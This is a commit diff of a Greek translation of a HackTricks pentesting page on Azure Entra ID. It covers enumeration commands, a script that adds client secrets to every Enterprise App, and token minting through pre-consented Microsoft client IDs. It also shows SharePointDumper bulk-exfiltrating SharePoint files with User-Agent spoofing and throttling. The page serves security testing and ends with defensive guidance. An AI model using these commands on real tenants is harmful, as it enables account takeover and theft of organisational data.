mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-29 07:00:29 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-services/az-azur
This commit is contained in:
@@ -2,15 +2,15 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Βασικές Πληροφορίες
|
||||
|
||||
Το Azure Active Directory (Azure AD) λειτουργεί ως η υπηρεσία της Microsoft για τη διαχείριση ταυτοτήτων και προσβάσεων στο cloud. Είναι καθοριστικής σημασίας για την επιτρεπτή είσοδο των υπαλλήλων και την πρόσβαση σε πόρους, τόσο εντός όσο και εκτός της οργάνωσης, περιλαμβάνοντας το Microsoft 365, την πύλη Azure και μια πληθώρα άλλων SaaS εφαρμογών. Ο σχεδιασμός του Azure AD επικεντρώνεται στην παροχή βασικών υπηρεσιών ταυτοποίησης, περιλαμβάνοντας κυρίως **authentication, authorization, and user management**.
|
||||
Το Azure Active Directory (Azure AD) είναι η cloud υπηρεσία της Microsoft για τη διαχείριση ταυτοτήτων και πρόσβασης. Βοηθά τους εργαζόμενους να συνδεθούν και να αποκτούν πρόσβαση σε πόρους, τόσο εντός όσο και εκτός του οργανισμού, συμπεριλαμβανομένου του Microsoft 365, του Azure portal και πλήθους άλλων εφαρμογών SaaS. Ο σχεδιασμός του Azure AD επικεντρώνεται στην παροχή βασικών υπηρεσιών ταυτότητας, κυρίως συμπεριλαμβάνοντας **authentication, authorization, and user management**.
|
||||
|
||||
Τα κύρια χαρακτηριστικά του Azure AD περιλαμβάνουν **multi-factor authentication** και **conditional access**, μαζί με απρόσκοπτη ενσωμάτωση με άλλες υπηρεσίες ασφάλειας της Microsoft. Αυτά τα χαρακτηριστικά αυξάνουν σημαντικά την ασφάλεια των ταυτοτήτων των χρηστών και ενδυναμώνουν τις οργανώσεις να εφαρμόσουν και να επιβάλουν αποτελεσματικά τις πολιτικές πρόσβασης τους. Ως θεμελιώδες στοιχείο του οικοσυστήματος υπηρεσιών cloud της Microsoft, το Azure AD είναι κρίσιμο για τη διαχείριση ταυτοτήτων χρηστών στο cloud.
|
||||
Κύρια χαρακτηριστικά του Azure AD περιλαμβάνουν **multi-factor authentication** και **conditional access**, καθώς και απρόσκοπτη ενσωμάτωση με άλλες υπηρεσίες ασφάλειας της Microsoft. Αυτά τα χαρακτηριστικά ενισχύουν σημαντικά την ασφάλεια των ταυτοτήτων χρηστών και επιτρέπουν στους οργανισμούς να εφαρμόζουν και να επιβάλλουν αποτελεσματικά τις πολιτικές πρόσβασής τους. Ως θεμελιώδες στοιχείο του οικοσυστήματος cloud υπηρεσιών της Microsoft, το Azure AD είναι κρίσιμο για τη διαχείριση των ταυτοτήτων χρηστών στο cloud.
|
||||
|
||||
## Enumeration
|
||||
## Απαρίθμηση
|
||||
|
||||
### **Connection**
|
||||
### **Σύνδεση**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
@@ -96,6 +96,7 @@ Connect-AzAccount -Credential $creds
|
||||
|
||||
# Connect with access token
|
||||
Connect-AzAccount -AccountId test@corp.onmicrosoft.com [-AccessToken $ManagementToken] [-GraphAccessToken $AADGraphToken] [-MicrosoftGraphAccessToken $MicrosoftGraphToken] [-KeyVaultAccessToken $KeyVaultToken]
|
||||
# If connecting with some metadata token, in "-AccountId" put the OID of the managed identity (get it from the JWT token)
|
||||
|
||||
# Connect with Service principal/enterprise app secret
|
||||
$password = ConvertTo-SecureString 'KWEFNOIRFIPMWL.--DWPNVFI._EDWWEF_ADF~SODNFBWRBIF' -AsPlainText -Force
|
||||
@@ -184,9 +185,9 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Όταν **συνδέεστε** μέσω **CLI** στο Azure με οποιοδήποτε πρόγραμμα, χρησιμοποιείτε μια **Εφαρμογή Azure** από έναν **tenant** που ανήκει στη **Microsoft**. Αυτές οι Εφαρμογές, όπως αυτές που μπορείτε να δημιουργήσετε στον λογαριασμό σας, **έχουν ένα client id**. **Δεν θα μπορείτε να δείτε όλες αυτές** στις **λίστες επιτρεπόμενων εφαρμογών** που μπορείτε να δείτε στην κονσόλα, **αλλά είναι επιτρεπόμενες από προεπιλογή**.
|
||||
Όταν **συνδεθείτε** μέσω **CLI** στο **Azure** με οποιοδήποτε πρόγραμμα, χρησιμοποιείτε μια **Azure Application** από έναν **tenant** που ανήκει στη **Microsoft**. Αυτές οι Applications, όπως αυτές που μπορείτε να δημιουργήσετε στον λογαριασμό σας, **έχουν ένα client id**. Δεν θα μπορείτε να δείτε όλες αυτές στις **λίστες επιτρεπόμενων εφαρμογών** που βλέπετε στην κονσόλα, **αλλά επιτρέπονται εξ ορισμού**.
|
||||
|
||||
Για παράδειγμα, ένα **powershell script** που **αυθεντικοποιεί** χρησιμοποιεί μια εφαρμογή με client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Ακόμα και αν η εφαρμογή δεν εμφανίζεται στην κονσόλα, ένας sysadmin θα μπορούσε να **μπλοκάρει αυτή την εφαρμογή** ώστε οι χρήστες να μην μπορούν να έχουν πρόσβαση χρησιμοποιώντας εργαλεία που συνδέονται μέσω αυτής της Εφαρμογής.
|
||||
Για παράδειγμα ένα **powershell script** που **authenticates** χρησιμοποιεί μια εφαρμογή με client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Ακόμα κι αν η εφαρμογή δεν εμφανίζεται στην κονσόλα, ένας sysadmin θα μπορούσε να **μπλοκάρει εκείνη την εφαρμογή** ώστε οι χρήστες να μην μπορούν να έχουν πρόσβαση χρησιμοποιώντας εργαλεία που συνδέονται μέσω αυτής της App.
|
||||
|
||||
Ωστόσο, υπάρχουν **άλλα client-ids** εφαρμογών που **θα σας επιτρέψουν να συνδεθείτε στο Azure**:
|
||||
```bash
|
||||
@@ -213,7 +214,7 @@ $token = Invoke-Authorize -Credential $credential `
|
||||
-Verbose -Debug `
|
||||
-InformationAction Continue
|
||||
```
|
||||
### Ενοικιαστές
|
||||
### Μισθωτές
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
@@ -226,7 +227,7 @@ az account tenant list
|
||||
|
||||
### Χρήστες
|
||||
|
||||
Για περισσότερες πληροφορίες σχετικά με τους χρήστες του Entra ID, ελέγξτε:
|
||||
Για περισσότερες πληροφορίες σχετικά με τους χρήστες Entra ID, δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -365,15 +366,15 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
|
||||
```
|
||||
### MFA & Conditional Access Policies
|
||||
|
||||
Συνιστάται ανεπιφύλακτα να προσθέσετε MFA σε κάθε χρήστη, ωστόσο, ορισμένες εταιρείες δεν θα το ρυθμίσουν ή μπορεί να το ρυθμίσουν με Conditional Access: Ο χρήστης θα είναι **υποχρεωμένος σε MFA αν** συνδεθεί από μια συγκεκριμένη τοποθεσία, πρόγραμμα περιήγησης ή **κάποια προϋπόθεση**. Αυτές οι πολιτικές, αν δεν ρυθμιστούν σωστά, μπορεί να είναι επιρρεπείς σε **bypasses**. Ελέγξτε:
|
||||
Συνιστάται έντονα να προσθέσετε MFA σε κάθε χρήστη· ωστόσο, μερικές εταιρείες δεν θα το ενεργοποιήσουν ή μπορεί να το ρυθμίσουν μέσω Conditional Access: ο χρήστης θα **απαιτείται MFA εάν** συνδεθεί από μια συγκεκριμένη τοποθεσία, πρόγραμμα περιήγησης ή **κάποια συνθήκη**. Αυτές οι πολιτικές, αν δεν διαμορφωθούν σωστά, μπορεί να είναι επιρρεπείς σε **bypasses**. Έλεγχος:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### Groups
|
||||
### Ομάδες
|
||||
|
||||
Για περισσότερες πληροφορίες σχετικά με τις ομάδες Entra ID, ελέγξτε:
|
||||
Για περισσότερες πληροφορίες σχετικά με τις ομάδες Entra ID δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -487,7 +488,7 @@ Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *
|
||||
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
|
||||
```
|
||||
> [!WARNING]
|
||||
> Οι ομάδες μπορεί να είναι δυναμικές, που σημαίνει βασικά ότι **αν ένας χρήστης πληροί ορισμένες προϋποθέσεις, θα προστεθεί σε μια ομάδα**. Φυσικά, αν οι προϋποθέσεις βασίζονται σε **γνωρίσματα** που μπορεί να **ελέγξει** ένας **χρήστης**, θα μπορούσε να καταχραστεί αυτή τη δυνατότητα για να **μπει σε άλλες ομάδες**.\
|
||||
> Οι ομάδες μπορούν να είναι δυναμικές, που βασικά σημαίνει ότι **αν ένας χρήστης πληροί ορισμένες προϋποθέσεις θα προστεθεί σε μια ομάδα**. Φυσικά, αν οι προϋποθέσεις βασίζονται σε **χαρακτηριστικά** που ένας **χρήστης** μπορεί να **ελέγξει**, θα μπορούσε να καταχραστεί αυτό το χαρακτηριστικό για να **μπει σε άλλες ομάδες**.\
|
||||
> Δείτε πώς να καταχραστείτε τις δυναμικές ομάδες στην παρακάτω σελίδα:
|
||||
|
||||
{{#ref}}
|
||||
@@ -496,7 +497,7 @@ Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
|
||||
|
||||
### Service Principals
|
||||
|
||||
Για περισσότερες πληροφορίες σχετικά με τους service principals του Entra ID, δείτε:
|
||||
Για περισσότερες πληροφορίες σχετικά με Entra ID service principals δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -597,11 +598,11 @@ Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembersh
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> Ο Ιδιοκτήτης ενός Service Principal μπορεί να αλλάξει τον κωδικό πρόσβασης του.
|
||||
> Ο Owner ενός Service Principal μπορεί να αλλάξει το password του.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Λίστα και προσπάθεια προσθήκης ενός client secret σε κάθε Enterprise App</summary>
|
||||
<summary>Καταγράψτε και δοκιμάστε να προσθέσετε ένα client secret σε κάθε Enterprise App</summary>
|
||||
```bash
|
||||
# Just call Add-AzADAppSecret
|
||||
Function Add-AzADAppSecret
|
||||
@@ -708,16 +709,16 @@ Write-Output "Failed to Enumerate the Applications."
|
||||
|
||||
### Εφαρμογές
|
||||
|
||||
Για περισσότερες πληροφορίες σχετικά με τις Εφαρμογές, ελέγξτε:
|
||||
Για περισσότερες πληροφορίες σχετικά με τις Εφαρμογές δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
Όταν δημιουργείται μια Εφαρμογή, δίνονται 2 τύποι δικαιωμάτων:
|
||||
Όταν δημιουργείται μια App δίνονται 2 τύποι δικαιωμάτων:
|
||||
|
||||
- **Δικαιώματα** που δίνονται στο **Service Principal**
|
||||
- **Δικαιώματα** που μπορεί να έχει και να χρησιμοποιεί η **εφαρμογή** **εκ μέρους του χρήστη**.
|
||||
- **Permissions** που δίνονται στο **Service Principal**
|
||||
- **Permissions** που η **app** μπορεί να έχει και να χρησιμοποιεί εκ μέρους του χρήστη.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
@@ -742,6 +743,33 @@ az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92
|
||||
# Get Cloud Applications Administrators (full access over apps)
|
||||
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"
|
||||
|
||||
# Get "API Permissions" of an App
|
||||
## Get the ResourceAppId
|
||||
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
|
||||
## e.g.
|
||||
[
|
||||
{
|
||||
"resourceAccess": [
|
||||
{
|
||||
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
|
||||
"type": "Scope"
|
||||
},
|
||||
{
|
||||
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
|
||||
"type": "Role"
|
||||
}
|
||||
],
|
||||
"resourceAppId": "00000003-0000-0000-c000-000000000000"
|
||||
}
|
||||
]
|
||||
|
||||
## For the perms of type "Scope"
|
||||
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
|
||||
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
|
||||
|
||||
## For the perms of type "Role"
|
||||
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
|
||||
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
@@ -792,21 +820,21 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> Μια εφαρμογή με την άδεια **`AppRoleAssignment.ReadWrite`** μπορεί να **αναβαθμιστεί σε Global Admin** δίνοντας στον εαυτό της τον ρόλο.\
|
||||
> Για περισσότερες πληροφορίες [**ελέγξτε αυτό**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
|
||||
> Μια εφαρμογή με την άδεια **`AppRoleAssignment.ReadWrite`** μπορεί να **αναβαθμιστεί σε Global Admin** χορηγώντας στον εαυτό της τον ρόλο.\
|
||||
> Για περισσότερες πληροφορίες [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
|
||||
|
||||
> [!NOTE]
|
||||
> Μια μυστική αλφαριθμητική συμβολοσειρά που χρησιμοποιεί η εφαρμογή για να αποδείξει την ταυτότητά της κατά την αίτηση ενός token είναι ο κωδικός πρόσβασης της εφαρμογής.\
|
||||
> Έτσι, αν βρείτε αυτόν τον **κωδικό πρόσβασης** μπορείτε να έχετε πρόσβαση ως **service principal** **μέσα** στον **tenant**.\
|
||||
> Σημειώστε ότι αυτός ο κωδικός πρόσβασης είναι ορατός μόνο όταν δημιουργείται (μπορείτε να τον αλλάξετε αλλά δεν μπορείτε να τον αποκτήσετε ξανά).\
|
||||
> Ο **ιδιοκτήτης** της **εφαρμογής** μπορεί να **προσθέσει έναν κωδικό πρόσβασης** σε αυτήν (έτσι μπορεί να την προσποιηθεί).\
|
||||
> Οι συνδέσεις ως αυτές οι service principals **δεν σημειώνονται ως επικίνδυνες** και **δεν θα έχουν MFA.**
|
||||
> Μια μυστική συμβολοσειρά που η εφαρμογή χρησιμοποιεί για να αποδείξει την ταυτότητά της όταν αιτείται ένα token είναι το application password.\
|
||||
> Άρα, αν βρείτε αυτό το **password** μπορείτε να έχετε πρόσβαση ως το **service principal** **μέσα** στο **tenant**.\
|
||||
> Σημειώστε ότι αυτό το password είναι μόνο ορατό όταν δημιουργείται (μπορείτε να το αλλάξετε αλλά δεν μπορείτε να το ανακτήσετε ξανά).\
|
||||
> Ο **owner** της **application** μπορεί να **add a password** σε αυτήν (ώστε να μπορεί να την προσποιηθεί).\
|
||||
> Οι logins ως αυτούς τους service principals **δεν σημειώνονται ως επικίνδυνες** και **δεν θα έχουν MFA.**
|
||||
|
||||
Είναι δυνατόν να βρείτε μια λίστα με τα κοινώς χρησιμοποιούμενα App IDs που ανήκουν στη Microsoft στο [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
|
||||
Είναι δυνατό να βρείτε μια λίστα με κοινώς χρησιμοποιούμενα App IDs που ανήκουν στη Microsoft στο [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
|
||||
|
||||
### Managed Identities
|
||||
|
||||
Για περισσότερες πληροφορίες σχετικά με τα Managed Identities ελέγξτε:
|
||||
Για περισσότερες πληροφορίες σχετικά με Managed Identities δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -822,9 +850,9 @@ az identity list --output table
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Ρόλοι Azure
|
||||
### Azure Ρόλοι
|
||||
|
||||
Για περισσότερες πληροφορίες σχετικά με τους ρόλους Azure, ελέγξτε:
|
||||
Για περισσότερες πληροφορίες σχετικά με τους ρόλους του Azure δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -909,9 +937,9 @@ Headers = @{
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Ρόλοι Entra ID
|
||||
### Entra ID Ρόλοι
|
||||
|
||||
Για περισσότερες πληροφορίες σχετικά με τους ρόλους Azure, ελέγξτε:
|
||||
Για περισσότερες πληροφορίες σχετικά με τους ρόλους του Azure δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -1032,12 +1060,12 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> Αν μια συσκευή (VM) είναι **συνδεδεμένη με AzureAD**, οι χρήστες από το AzureAD θα μπορούν να **συνδεθούν**.\
|
||||
> Επιπλέον, αν ο συνδεδεμένος χρήστης είναι **Ιδιοκτήτης** της συσκευής, θα είναι **τοπικός διαχειριστής**.
|
||||
> Αν μια συσκευή (VM) είναι **AzureAD joined**, οι χρήστες από το AzureAD θα μπορούν να **συνδεθούν**.\
|
||||
> Επιπλέον, αν ο συνδεδεμένος χρήστης είναι **Owner** της συσκευής, θα είναι **local admin**.
|
||||
|
||||
### Διοικητικές Μονάδες
|
||||
|
||||
Για περισσότερες πληροφορίες σχετικά με τις διοικητικές μονάδες, ελέγξτε:
|
||||
Για περισσότερες πληροφορίες σχετικά με τις διοικητικές μονάδες δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -1072,13 +1100,60 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Εξαπάτηση Προνομίων Entra ID
|
||||
## Microsoft Graph delegated εξαγωγή δεδομένων SharePoint (SharePointDumper)
|
||||
|
||||
Οι επιτιθέμενοι με ένα **delegated Microsoft Graph token** που περιλαμβάνει **`Sites.Read.All`** ή **`Sites.ReadWrite.All`** μπορούν να απαριθμήσουν **sites/drives/items** μέσω του Graph και στη συνέχεια να τραβήξουν τα περιεχόμενα αρχείων μέσω **SharePoint pre-authentication download URLs** (χρονικά περιορισμένα URLs που ενσωματώνουν ένα access token). Το [SharePointDumper](https://github.com/zh54321/SharePointDumper) script αυτοματοποιεί όλη τη ροή (enumeration → pre-auth downloads) και εξάγει τηλεμετρία ανά αίτημα για δοκιμές ανίχνευσης.
|
||||
|
||||
### Obtaining usable delegated tokens
|
||||
|
||||
- Το SharePointDumper από μόνο του **δεν αυθεντικοποιείται**· δώστε ένα access token (προαιρετικά refresh token).
|
||||
- Προ-συγκατενεμένοι **first-party clients** μπορούν να καταχραστούν για να εκδώσουν ένα Graph token χωρίς καταχώρηση εφαρμογής. Παράδειγμα κλήσεων `Invoke-Auth` (από [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)):
|
||||
```powershell
|
||||
# CAE requested by default; yields long-lived (~24h) access token
|
||||
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
|
||||
$tokens = Invoke-Auth -ClientID 'b26aadf8-566f-4478-926f-589f601d9c74' -RedirectUrl 'urn:ietf:wg:oauth:2.0:oob' # OneDrive (FOCI TRUE)
|
||||
|
||||
# Other pre-consented clients
|
||||
Invoke-Auth -ClientID '1fec8e78-bce4-4aaf-ab1b-5451cc387264' -RedirectUrl 'https://login.microsoftonline.com/common/oauth2/nativeclient' # Teams (FOCI TRUE)
|
||||
Invoke-Auth -ClientID 'd326c1ce-6cc6-4de2-bebc-4591e5e13ef0' -RedirectUrl 'msauth://code/ms-sharepoint-auth%3A%2F%2Fcom.microsoft.sharepoint' # SharePoint (FOCI TRUE)
|
||||
Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https://scuprodprv.www.microsoft365.com/spalanding' -Origin 'https://doesnotmatter' # OfficeHome (FOCI FALSE)
|
||||
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)
|
||||
```
|
||||
> [!NOTE]
|
||||
> Οι πελάτες FOCI TRUE υποστηρίζουν refresh σε διαφορετικές συσκευές; οι πελάτες FOCI FALSE συχνά απαιτούν `-Origin` για να ικανοποιηθεί η επικύρωση προέλευσης του reply URL.
|
||||
|
||||
### Εκτέλεση SharePointDumper για enumeration + exfiltration
|
||||
|
||||
- Βασικό dump με προσαρμοσμένο UA / proxy / throttling:
|
||||
```powershell
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
|
||||
```
|
||||
- Έλεγχος εύρους: συμπερίληψη/εξαίρεση ιστότοπων ή επεκτάσεων και παγκόσμια όρια:
|
||||
```powershell
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
|
||||
```
|
||||
- **Συνέχιση** διακοπείσων εκτελέσεων (επαναεντοπίζει αλλά παραλείπει τα ήδη ληφθέντα αντικείμενα):
|
||||
```powershell
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
|
||||
```
|
||||
- **Αυτόματη ανανέωση token σε HTTP 401** (απαιτεί EntraTokenAid φορτωμένο):
|
||||
```powershell
|
||||
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'
|
||||
```
|
||||
Σημειώσεις λειτουργίας:
|
||||
|
||||
- Προτιμά **CAE-enabled** tokens για να αποφευχθεί η λήξη στη μέση της εκτέλεσης· προσπάθειες ανανέωσης **δεν** καταγράφονται στο API log του εργαλείου.
|
||||
- Δημιουργεί αρχεία καταγραφής αιτήσεων **CSV/JSON** για **Graph + SharePoint** και μασκάρει ενσωματωμένα SharePoint download tokens από προεπιλογή (προσαρμόσιμο).
|
||||
- Υποστηρίζει **custom User-Agent**, **HTTP proxy**, **per-request delay + jitter**, και **Ctrl+C-safe shutdown** για διαμόρφωση κίνησης κατά τη διάρκεια δοκιμών ανίχνευσης/IR.
|
||||
|
||||
## Entra ID Privilege Escalation
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/
|
||||
{{#endref}}
|
||||
|
||||
## Εξαπάτηση Προνομίων Azure
|
||||
## Azure Privilege Escalation
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-authorization-privesc.md
|
||||
@@ -1086,53 +1161,53 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
|
||||
|
||||
## Μηχανισμοί Άμυνας
|
||||
|
||||
### Διαχείριση Προνομιακής Ταυτότητας (PIM)
|
||||
### Privileged Identity Management (PIM)
|
||||
|
||||
Η Διαχείριση Προνομιακής Ταυτότητας (PIM) στο Azure βοηθά να **αποτρέπεται η υπερβολική εκχώρηση προνομίων** σε χρήστες χωρίς λόγο.
|
||||
Το Privileged Identity Management (PIM) στο Azure βοηθάει να **αποτραπεί η ανάθεση υπερβολικών δικαιωμάτων** σε χρήστες χωρίς λόγο.
|
||||
|
||||
Μία από τις κύριες δυνατότητες που παρέχει το PIM είναι ότι επιτρέπει να μην εκχωρούνται ρόλοι σε κύριους που είναι συνεχώς ενεργοί, αλλά να γίνονται **επιλέξιμοι για μια περίοδο (π.χ. 6 μήνες)**. Στη συνέχεια, όποτε ο χρήστης θέλει να ενεργοποιήσει αυτόν τον ρόλο, πρέπει να ζητήσει αυτόν, υποδεικνύοντας τον χρόνο που χρειάζεται το προνόμιο (π.χ. 3 ώρες). Στη συνέχεια, ένας **διαχειριστής πρέπει να εγκρίνει** το αίτημα.\
|
||||
Σημειώστε ότι ο χρήστης θα μπορεί επίσης να ζητήσει να **επέκταση** του χρόνου.
|
||||
Μία από τις βασικές λειτουργίες του PIM είναι ότι επιτρέπει να μην ανατίθενται ρόλοι σε principals που είναι συνεχώς ενεργοί, αλλά να τους κάνει **επιλέξιμους για ένα χρονικό διάστημα (π.χ. 6 μήνες)**. Όταν ο χρήστης θέλει να ενεργοποιήσει αυτόν τον ρόλο, πρέπει να υποβάλει αίτηση αναφέροντας το χρόνο που χρειάζεται το προνόμιο (π.χ. 3 ώρες). Στη συνέχεια, ένας **admin πρέπει να εγκρίνει** το αίτημα.\
|
||||
Σημειώστε ότι ο χρήστης θα μπορεί επίσης να ζητήσει να **επεκτείνει** το χρόνο.
|
||||
|
||||
Επιπλέον, **το PIM στέλνει email** όποτε εκχωρείται ένας προνομιακός ρόλος σε κάποιον.
|
||||
Επιπλέον, το **PIM στέλνει email** κάθε φορά που ένας προνομιούχος ρόλος ανατίθεται σε κάποιον.
|
||||
|
||||
<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Όταν το PIM είναι ενεργοποιημένο, είναι δυνατό να ρυθμιστεί κάθε ρόλος με συγκεκριμένες απαιτήσεις όπως:
|
||||
Όταν το PIM είναι ενεργοποιημένο, είναι δυνατό να διαμορφωθεί κάθε ρόλος με συγκεκριμένες απαιτήσεις όπως:
|
||||
|
||||
- Μέγιστη διάρκεια (ώρες) ενεργοποίησης
|
||||
- Απαιτεί MFA κατά την ενεργοποίηση
|
||||
- Απαιτεί πλαίσιο αυθεντικοποίησης Conditional Access
|
||||
- Απαιτεί δικαιολόγηση κατά την ενεργοποίηση
|
||||
- Απαιτεί πληροφορίες εισιτηρίου κατά την ενεργοποίηση
|
||||
- Απαιτεί έγκριση για ενεργοποίηση
|
||||
- Μέγιστος χρόνος λήξης των επιλέξιμων εκχωρήσεων
|
||||
- Πολλές άλλες ρυθμίσεις σχετικά με το πότε και ποιος να στέλνει ειδοποιήσεις όταν συμβαίνουν συγκεκριμένες ενέργειες με αυτόν τον ρόλο
|
||||
- Απαίτηση MFA κατά την ενεργοποίηση
|
||||
- Απαίτηση Conditional Access authentication context
|
||||
- Απαίτηση αιτιολόγησης κατά την ενεργοποίηση
|
||||
- Απαίτηση πληροφοριών ticket κατά την ενεργοποίηση
|
||||
- Απαίτηση έγκρισης για ενεργοποίηση
|
||||
- Μέγιστος χρόνος για να λήξουν οι επιλέξιμες αναθέσεις
|
||||
- Πολλές επιπλέον ρυθμίσεις για το πότε και σε ποιον να αποστέλλονται ειδοποιήσεις όταν γίνονται ενέργειες σχετικές με τον ρόλο
|
||||
|
||||
### Πολιτικές Conditional Access
|
||||
### Conditional Access Policies
|
||||
|
||||
Ελέγξτε:
|
||||
Check:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### Προστασία Ταυτότητας Entra
|
||||
### Entra Identity Protection
|
||||
|
||||
Η Προστασία Ταυτότητας Entra είναι μια υπηρεσία ασφαλείας που επιτρέπει να **ανιχνεύει πότε ένας χρήστης ή μια είσοδος είναι πολύ ριψοκίνδυνη** για να γίνει αποδεκτή, επιτρέποντας να **μπλοκάρει** τον χρήστη ή την προσπάθεια εισόδου.
|
||||
Το Entra Identity Protection είναι μια υπηρεσία ασφάλειας που επιτρέπει να **εντοπίζεται πότε ένας χρήστης ή μια σύνδεση είναι υπερβολικά ριψοκίνδυνη** για να γίνει δεκτή, επιτρέποντας το **μπλοκάρισμα** του χρήστη ή της προσπάθειας σύνδεσης.
|
||||
|
||||
Επιτρέπει στον διαχειριστή να το ρυθμίσει ώστε να **μπλοκάρει** τις προσπάθειες όταν ο κίνδυνος είναι "Χαμηλός και άνω", "Μέτριος και άνω" ή "Υψηλός". Αν και, από προεπιλογή είναι εντελώς **απενεργοποιημένο**:
|
||||
Επιτρέπει στον admin να το διαμορφώσει ώστε να **μπλοκάρει** προσπάθειες όταν ο κίνδυνος είναι "Low and above", "Medium and above" ή "High". Ωστόσο, από προεπιλογή είναι εντελώς **απενεργοποιημένο**:
|
||||
|
||||
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
